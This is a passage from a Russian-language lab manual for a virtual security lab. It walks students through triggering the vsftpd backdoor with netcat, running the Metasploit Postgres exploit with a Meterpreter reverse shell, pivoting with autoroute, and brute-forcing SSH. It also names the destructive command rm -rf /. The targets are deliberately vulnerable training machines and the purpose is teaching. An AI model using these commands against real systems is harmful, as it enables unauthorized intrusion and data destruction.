Добавил:
Developer Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методичка для лабораторных

.pdf
Скачиваний:
6
Добавлен:
24.12.2023
Размер:
1.94 Mб
Скачать

экраном, через который проходит весь входящий и исходящий сетевой трафик. IP-адрес сервера Metasploitable, скорее всего, будет вторым.

Получив IP-адрес сервера, вы можете посетить размещенные на нем веб-страницы. Щелкните на синем логотипе Kali в верхнем левом углу интерфейса машины Kali. Затем откройте браузер Kali Linux и введите обнаруженный IP-адрес, как показано на рис. 12.

Рис. 12 – Машина Metasploitable в браузере Kali Linux

Если вы видите веб-страницу, то это означает, что ваши машины Metasploitable и Kali Linux правильно подключены к внутренней сети.

Использование бэкдора для получения доступа

Теперь можно воспользоваться бэкдором, чтобы получить доступ к машине Metasploitable. Подключитесь к FTP-серверу с помощью Netcat (nc), инструмента командной строки, который поддерживает несколько сетевых функций. В данном случае он используется для открытия TCP-сокета для связи с сервером.

Откройте терминал на машине Kali и введите следующие команды:

kali@kali:~$ nc <IP-адрес виртуальной машины Metasploitable> 21 user Hacker:)

pass invalid

Значением в конце первой команды является номер порта. FTP-серверы обычно используют порт 21.

После активации командной оболочки, связанной с бэкдором, откройте новое окно терминала и введите следующую команду для подключения к оболочке, которая должна использовать порт 6200 на машине Metasploitable:

kali@kali:~$ nc -v <IP-адрес виртуальной машины Metasploitable> 6200

После подключения вам покажется, что терминал не отвечает. Но это не так, он просто ожидает от вас ввода команды. Введите команду ls, чтобы отобразить список всех файлов, содержащихся в текущем каталоге.

Теперь у вас должна появиться возможность вводить команды в терминале Kali Linux и запускать их так, будто они были введены в терминале машины Metasploitable. Например, попробуйте перезагрузить машину с помощью оболочки. Для этого введите следующие команды в терминал машины Kali, а затем посмотрите, что произойдет с машиной Metasploitable:

whoami reboot

Если все выполнено правильно, то машина Metasploitable перезагрузится. Перезапуск машины может показаться вполне безобидным явлением, однако злоумышленник, обладающий привилегиями пользователя root, может сделать гораздо больше, например удалить все данные с сервера, выполнив команду rm -rf/. Не запускайте эту команду в Metasploitable, если не хотите удалить все содержащиеся на машине данные и повторить процесс настройки.

Контрольные вопросы

1.Что такое pfSense и для чего он применяется в виртуальной лаборатории?

2.Что такое Metasploitable и для чего он применяется в виртуальной лаборатории?

3.Что такое Kali Linux и для чего он применяется в виртуальной лаборатории?

4.Как можно устранить уязвимость, эксплуатируемую в данной лабораторной работе?

Лабораторная работа № 2 Проброс трафика с помощью устройства с двойной

привязкой

Цель работы - рассмотреть технику проброса трафика (pivoting) и уязвимости, с помощью которых злоумышленник может получить доступ к частной сети через маршрутизатор.

2.1 Постановка задачи

Скачать, установить и настроить следующие компоненты:

скачать, установить и настроить Ubuntu;

настройка устройства с двойной привязкой;

подключение машины Ubuntu к частной сети;

проброс трафика с помощью Metasploit;

создание собственного прокси-сервера.

2.2Настройка Ubuntu Linux Desktop

Настраиваем виртуальную машину Ubuntu Linux Desktop, с помощью которой будет продемонстрирована уязвимость.

Скачайте последнюю версию ISO-образа Ubuntu с сайта https://ubuntu.com/download/ desktop/. Запустите программу VirtualBox и нажмите кнопку New (Создать), расположенную на верхней панели инструментов. Вам будет предложено ввести информацию о своей новой машине. В поле Name (Имя) введите

Ubuntu, в списке Type (Тип) выберите Linux, а в списке Version (Версия) — Ubuntu (64bit). Затем нажмите кнопку Continue (Продолжить). Выделите 2048 Мбайт оперативной памяти и 10 Гбайт дискового пространства. (Не забудьте прикрепить ISO-образ) Для эффективной работы машине Ubuntu требуется чуть больше дискового пространства и ОЗУ, чем маршрутизатору pfSense. Наконец, подключите машину Ubuntu Linux к внутренней сети, как вы это делали в случае с Metasploitable.

Запустите машину Ubuntu, выберите язык и нажмите кнопку Install Ubuntu (Установить Ubuntu). На рис.13 показана первая страница экрана настройки.

Рис. 13 – Экран установки Ubuntu Linux

2.3 Проброс трафика с помощью устройства с двойной привязкой

Сети, открытые для пользования всем людям, обычно называются общедоступными. Пример такой сети — интернет. С другой стороны, сети, закрытые для широкой публики, такие как внутренняя сеть организации, называются частными. Тем не менее пользователям частной сети нередко требуется доступ к ресурсам, содержащимся в такой общедоступной сети, как интернет. Например, сотрудникам корпораций необходим доступ к поисковой системе Google. Для защиты внутренней сети компании часто используют межсетевые экраны, устанавливаемые между общедоступной сетью (интернет) и частной корпоративной сетью. Поскольку межсетевой экран подключен как к общедоступной, так и к частной сети, машина, на которой он запущен, называется устройством с двойной привязкой (dualhomed device).

Устройства с двойной привязкой чрезвычайно важны для злоумышленников, находящихся в общедоступной сети, поскольку для получения доступа к частной сети организации они должны обойти межсетевой экран. Маршрутизация трафика через машину с двойной привязкой для получения доступа к сети называется пробросом (pivoting). Настроим тестовую сеть, чтобы продемонстрировать применение этой техники. Мы скомпрометируем виртуальную машину Metasploitable, которую сначала превратим в устройство с двойной привязкой, и используем ее в качестве прокси-сервера, чтобы получить доступ к частной сети для совершения вторжения на виртуальную машину Ubuntu.

2.4 Настройка устройства с двойной привязкой

Машина pfSense в нашей виртуальной среде — пример устройства с двойной привязкой, поскольку выступает в качестве моста между нашей частной сетью и интернетом. Однако мы не будем компрометировать маршрутизатор pfSense, чтобы продемонстрировать технику проброса трафика, поскольку он защищает наши устройства. Вместо этого мы превратим в устройство с двойной привязкой виртуальную машину Metasploitable и подключим ее к другой частной сети, содержащей виртуальную машину Ubuntu. Схема сети, которую мы воссоздадим, представлена на рис. 14.

Рис. 14 – Схема сети

Первичный интерфейс сервера Metasploitable обозначен цифрой (1). Этот интерфейс мы используем для подключения сервера к нашей смоделированной общедоступной сети, содержащей виртуальную машину Kali Linux. Второй интерфейс

(2) будет подключен к частной сети. Наша цель будет заключаться в том, чтобы взломать сервер Metasploitable и использовать его для маршрутизации трафика с первичного интерфейса в частную сеть через вторичный интерфейс.

Однако для начала необходимо настроить виртуальную среду.

Мы начнем с включения второго интерфейса на виртуальной машине Metasploitable и его подключения к частной сети. Для этого перейдите к настройкам машины

Metasploitable в VirtualBox (рис.15).

Рис. 15 – Настройки Metasploitable

Перейдите на вкладку Network (Сеть)(1). В разделе Adapter 2 (Адаптер 2)(2) установите флажок Enable Network Adapter (Включить сетевой адаптер)(3). В качестве имени частной сети задайте Private LAN(4). Теперь мы должны назначить IP-адрес только что включенному интерфейсу. Мы сделаем это, отредактировав файл interface сервера Metasploitable. Выполните следующую команду, чтобы открыть этот файл в текстовом редакторе vim, который предустановлен в Metasploitable:

msadmin@metasploitable:~# sudo vim /etc/network/interface

(если не получается, то попробуйте $ sudo nano /etc/network/interfaces)

#Этот файл описывает сетевые интерфейсы, доступные в вашей системе, и способы их активации.

#интерфейс Loopback

auto lo

iface lo inet loopback

# Первичный сетевой интерфейс auto eth0 iface eth0

inet dhcp

(1)

# Вторичный сетевой интерфейс auto eth1 iface eth1

inet static

(2)

address 10.0.0.1

(3)

netmask 255.255.255.0

(4)

Открыв файл, вы должны увидеть определение первичного интерфейса(1). Как правило, этот интерфейс подключен к общедоступной сети. Значение iface eth0 соответствует интерфейсу Ethernet (eth0). Параметр inet обозначает адресацию IPv4, а dhcp — что мы разрешаем DHCP-серверу назначить этому интерфейсу IP-адрес.

DHCP (dynamic host configuration protocol, протокол динамической настройки узла) —

протокол, который обычно используют маршрутизаторы для назначения IP-адресов машинам, подключающимся к сети. Например, ваш домашний маршрутизатор Wi-Fi имеет встроенный DHCP-сервер, а это означает, что ваш ноутбук использует протокол DHCP для получения IP-адреса при подключении к сети. Это гарантирует то, что ваш ноутбук не будет использовать тот же IP-адрес, что и компьютер, подключившийся к вашей сети до него. При использовании значения static IP-адреса назначаются вручную.

При настройке второго интерфейса мы установим для него статический IPv4-адрес (2) 10.0.0.1 (3) и маску подсети 255.255.255.0 (4) . Сохраните файл, а затем запустите интерфейс eth1, выполнив следующую команду:

msadmin@metasploitable:~# sudo ip link set dev eth1 up

Наконец, перезапустите сетевой интерфейс:

msadmin@metasploitable:~# sudo /etc/init.d/networking restart

2.5 Подключение машины к частной сети

После настройки устройства с двойной привязкой мы можем переместить виртуальную машину Ubuntu в нашу новую частную сеть. Однако после перемещения у нее уже не будет доступа к интернету. Поэтому, прежде чем делать это, настроим ее. Для входа в систему Ubuntu мы будем использовать OpenSSH — реализацию SSH-сервера с открытым исходным кодом, которая позволяет пользователям подключаться к машине с помощью протокола SSH. Авторизуйтесь в системе своей виртуальной машины Ubuntu и установите сервер OpenSSH:

victim@ubuntu:~$ sudo apt-get install openssh-server victim@ubuntu:~$ sudo systemctl enable ssh

Когда установка завершится, переместите виртуальную машину Ubuntu в частную сеть, изменив настройки интерфейса в VirtualBox для подключения к сети Private LAN. Теперь вам нужно назначить IP-адрес интерфейсу на виртуальной машине Ubuntu. Это связано с тем, что в нашей частной сети нет DHCP-сервера. Назначьте статический IP-адрес своей виртуальной машине Ubuntu, перейдя в раздел Settings (Настройки) (рис. 16).

Рис. 16 – Настройка статического IP-адреса на машине Ubuntu}

В разделе Network (Сеть) щелкните на значке Settings (Настройки) в виде шестеренки и перейдите на вкладку IPv4. Выберите способ настройки Manual (Вручную) и задайте IP-адрес 10.0.0.15, маску сети 255.255.255.0 и шлюз по умолчанию 10.0.0.1.

Убедитесь в том, что вы можете получить доступ к серверу Metasploitable с виртуальной машины Ubuntu, отправив ему ping-запросы. Если связь с сервером Metasploitable налажена, то вы должны получить следующее, не потеряв ни единого пакета:

victim@ubuntu:~$ ping 10.0.0.1 PING 10.0.0.1 (10.0.0.1): 56 data bytes

64 bytes from 10.0.0.1: icmp_seq=0 ttl=115 time=15.049 ms 64 bytes from 10.0.0.1: icmp_seq=1 ttl=115 time=14.385 ms 64 bytes from 10.0.0.1: icmp_seq=2 ttl=115 time=15.036 ms 64 bytes from 10.0.0.1: icmp_seq=3 ttl=115 time=22.304 ms 64 bytes from 10.0.0.1: icmp_seq=4 ttl=115 time=23.752 ms 64 bytes from 10.0.0.1: icmp_seq=5 ttl=115 time=14.254 ms ^C

--- 10.0.0.1 ping statistics ---

6 packets transmitted, 6 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 14.254/17.014/23.752/3.835 ms

Нажмите сочетание клавиш Ctrl+C, чтобы завершить отправку ping-запросов.

Хотя ваша виртуальная машина Ubuntu может подключиться к серверу Metasploitable, у нее нет доступа к тому, что находится за пределами частной сети. Точно так же никакие машины, работающие вне частной сети, не могут получить доступ к виртуальной машине Ubuntu. Это говорит о правильной настройке частной сети и устройства с двойной привязкой.

Теперь поговорим о том, как можно получить доступ к частной сети, скомпрометировав машину Metasploitable и превратив ее в мост, соединяющий внутреннюю локальную сеть виртуальной среды с частной локальной сетью. Обычно мы называем такой мост прокси-сервером, то есть программой, которая принимает данные, поступающие через одно соединение, и передает их через другое. Можете считать его своеобразным посредником между двумя машинами.

2.6 Проброс трафика с помощью Metasploit

Инструмент Metasploit Framework имеет встроенный прокси, поэтому воспользуемся им для реализации уязвимости типа «проброс трафика». Мы начнем со сканирования сервера Metasploitable с помощью виртуальной машины Kali Linux. Обнаружив уязвимость, мы воспользуемся ею для загрузки обратной оболочки. Затем проверим, есть ли у сервера Metasploitable доступ к нескольким сетям.

Удостоверившись в том, что так оно и есть, мы будем использовать сервер Metasploitable в качестве прокси для доступа к частной сети, содержащей нашу виртуальную машину Ubuntu. Затем воспользуемся скомпрометированными учетными данными SSH для аутентификации в системе Ubuntu в частной сети и загрузим еще одну обратную оболочку. Наконец, с помощью обратной оболочки, запущенной в частной локальной сети, мы будем маршрутизировать свои команды через прокси на сервере Metasploitable.

Приступим. Просканируйте сервер Metasploitable с помощью сканера уязвимостей. Воспользуемся уязвимостью сервера Postgres, которая позволяет загружать обратную оболочку благодаря ошибке конфигурации. Если вы еще этого не сделали, то запустите Metasploit в Kali Linux:

kali@kali:~$ sudo msfconsole

Теперь выберите эксплойт Postgres, введя ключевое слово use и соответствующий путь. Мы не выбирали полезную нагрузку, поэтому Metasploit будет по умолчанию использовать полезную нагрузку Meterpreter reverse\_tcp.

msf6 > use exploit/linux/postgres/postgres_payload

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

Затем мы задаем IP-адрес удаленного хоста (RHOST). В нашем случае это IP-адрес сервера Metasploitable (192.168.1.101). После этого мы запускаем эксплойт с помощью команды run.

msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.1.101 RHOST => 192.168.1.101

msf6 exploit(linux/postgres/postgres_payload) > run

[*]Started reverse TCP handler on 192.168.1.115:4444

[*]192.168.1.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC .....

[*]Uploaded as /tmp/VfnRAqLD.so, should be cleaned up automatically

[*]Sending stage (976712 bytes) to 192.168.1.101

[*]Meterpreter session 1 opened (192.168.1.115:4444 -> 192.168.1.101:52575) at .....

meterpreter >

Теперь, когда у нас есть оболочка Meterpreter, проверим интерфейсы на сервере

Metasploitable:

meterpreter > ipconfig

...

Interface 3

============

Name

: eth1

Hardware MAC : 08:00:27:d1:f1:26

MTU

: 1500

Flags

: UP,BROADCAST,MULTICAST

IPv4 Address : 10.0.0.1

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a00:27ff:fed1:f126

IPv6 Netmask : ffff:ffff:ffff:ffff::

Для простоты исключили из вывода данные о loopback и первичном интерфейсе, поскольку они всегда присутствуют в подключенном к сети устройстве. Мы видим новый интерфейс, который указывает на то, что эта машина подключена к другой сети. Теперь мы можем добавить маршрут, который позволит отправлять трафик из внутренней локальной сети виртуальной среды в частную локальную сеть. Маршрут представляет собой запись в таблице маршрутизации, которая содержит правила пересылки пакетов между интерфейсами. После добавления маршрута мы переводим сеанс Meterpreter в фоновый режим, чтобы получить доступ к исходной консоли Metasploit. Отмените выбор текущего модуля с помощью команды back:

meterpreter > run autoroute -s 10.0.0.1/24 meterpreter > background

[*] Backgrounding session 1...

msf6 exploit(linux/postgres/postgres_payload) > back

Теперь загрузим обратную оболочку на виртуальную машину Ubuntu. Хотя для этого достаточно просто авторизоваться в системе Ubuntu, мы смоделируем реальное вторжение, представив, что у нас нет учетных данных.

Допустим, мы обнаружили несколько пар «логин — пароль» в ходе разведки по открытым источникам, которые теперь можем перепробовать в ходе уязвимости типа «перебор по словарю» в надежде на то, что одна из них позволит нам авторизоваться на SSH-сервере. Создайте файл под названием Ubuntu\_passwords.txt на рабочем столе Kali Linux, содержащий имя пользователя и пароль для входа в систему Ubuntu. Каждая пара «логин — пароль» должна находиться в отдельной строке, при этом сами учетные данные должны быть разделены пробелом. Добавьте несколько вымышленных логинов и паролей наряду с реальными учетными данными для входа в систему Ubuntu, чтобы вы смогли получить доступ к машине. Вот пример:

mari 1234 user1 trustno1

Используйте этот файл, чтобы получить доступ к SSH-серверу путем перебора по словарю. Начнем с выбора модуля Metasploit ssh\_login. Затем указываем удаленный хост, предоставляем файл с паролями и запускаем модуль:

msf6 > use auxiliary/scanner/ssh/ssh_login

msf6 auxiliary(scanner/ssh/ssh_login)>set RHOST 10.0.0.15 RHOST => 10.0.0.15

msf6 auxiliary(scanner/ssh/ssh_login)>set USERPASS_FILE

/home/username/Desktop/Ubuntu_passwords.txt